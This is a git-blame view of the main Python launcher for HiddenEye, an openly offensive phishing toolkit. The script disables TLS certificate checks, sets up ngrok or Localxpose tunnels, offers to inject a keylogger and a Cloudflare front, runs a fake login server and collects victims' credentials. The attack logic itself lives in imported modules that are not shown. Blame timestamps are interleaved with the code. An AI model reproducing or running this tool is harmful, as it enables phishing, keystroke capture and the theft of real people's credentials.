2018-10-30 23:43:48 +08:00
|
|
|
#!/usr/bin/python3
|
2018-11-20 01:49:09 +08:00
|
|
|
#
|
2018-10-29 03:49:19 +08:00
|
|
|
#HiddenEye by Open Source Community
|
2018-11-20 01:49:09 +08:00
|
|
|
#
|
2018-10-29 03:49:19 +08:00
|
|
|
import multiprocessing
|
2018-10-31 10:28:03 +08:00
|
|
|
import gettext
|
2019-07-30 18:55:23 +08:00
|
|
|
from os import system,environ
|
2018-11-29 04:56:33 +08:00
|
|
|
import sys
|
2019-07-30 18:55:23 +08:00
|
|
|
import ssl
|
|
|
|
if(not environ.get('PYTHONHTTPSVERIFY',"") and getattr(ssl,'_create_unverified_context',None)):
|
|
|
|
ssl._create_default_https_context=ssl._create_unverified_context
|
|
|
|
|
2018-10-30 23:16:49 +08:00
|
|
|
from Defs.Checks import *
|
|
|
|
from Defs.Configurations import *
|
|
|
|
from Defs.Actions import *
|
2018-11-20 01:49:09 +08:00
|
|
|
from Defs.Languages import *
|
2019-07-30 18:55:23 +08:00
|
|
|
|
2018-11-29 04:56:33 +08:00
|
|
|
|
2018-10-29 03:49:19 +08:00
|
|
|
RED, WHITE, CYAN, GREEN, DEFAULT = '\033[91m', '\033[46m', '\033[36m', '\033[1;32m', '\033[0m'
|
2018-12-06 09:06:41 +08:00
|
|
|
checkPermissions()
|
2018-11-30 07:20:52 +08:00
|
|
|
installGetText()
|
2018-11-29 04:56:33 +08:00
|
|
|
languageSelector()
|
2018-10-29 03:49:19 +08:00
|
|
|
checkConnection()
|
2019-10-27 16:55:31 +08:00
|
|
|
checkLocalxpose()
|
2018-10-29 03:49:19 +08:00
|
|
|
checkNgrok()
|
|
|
|
ifSettingsNotExists()
|
|
|
|
readConfig()
|
|
|
|
|
|
|
|
|
|
|
|
if __name__ == "__main__":
|
|
|
|
try:
|
|
|
|
runMainMenu()
|
2019-04-21 19:50:36 +08:00
|
|
|
mainMenu()
|
|
|
|
|
2019-01-28 06:41:59 +08:00
|
|
|
keyloggerprompt()
|
|
|
|
addingkeylogger()
|
2019-08-31 05:56:46 +08:00
|
|
|
cloudfarePrompt()
|
|
|
|
addingCloudfare()
|
2018-10-29 03:49:19 +08:00
|
|
|
inputCustom()
|
2019-07-30 19:24:16 +08:00
|
|
|
port = selectPort()
|
|
|
|
|
2018-10-29 03:49:19 +08:00
|
|
|
##############
|
2019-07-30 19:24:16 +08:00
|
|
|
runServer(port)
|
|
|
|
selectServer(port)
|
2018-10-30 22:32:47 +08:00
|
|
|
|
2019-07-30 19:24:16 +08:00
|
|
|
multiprocessing.Process(target=runServer, args=(port,)).start()
|
|
|
|
getCredentials(port)
|
2018-10-29 03:49:19 +08:00
|
|
|
|
|
|
|
except KeyboardInterrupt:
|
|
|
|
endMessage()
|
|
|
|
exit(0)
|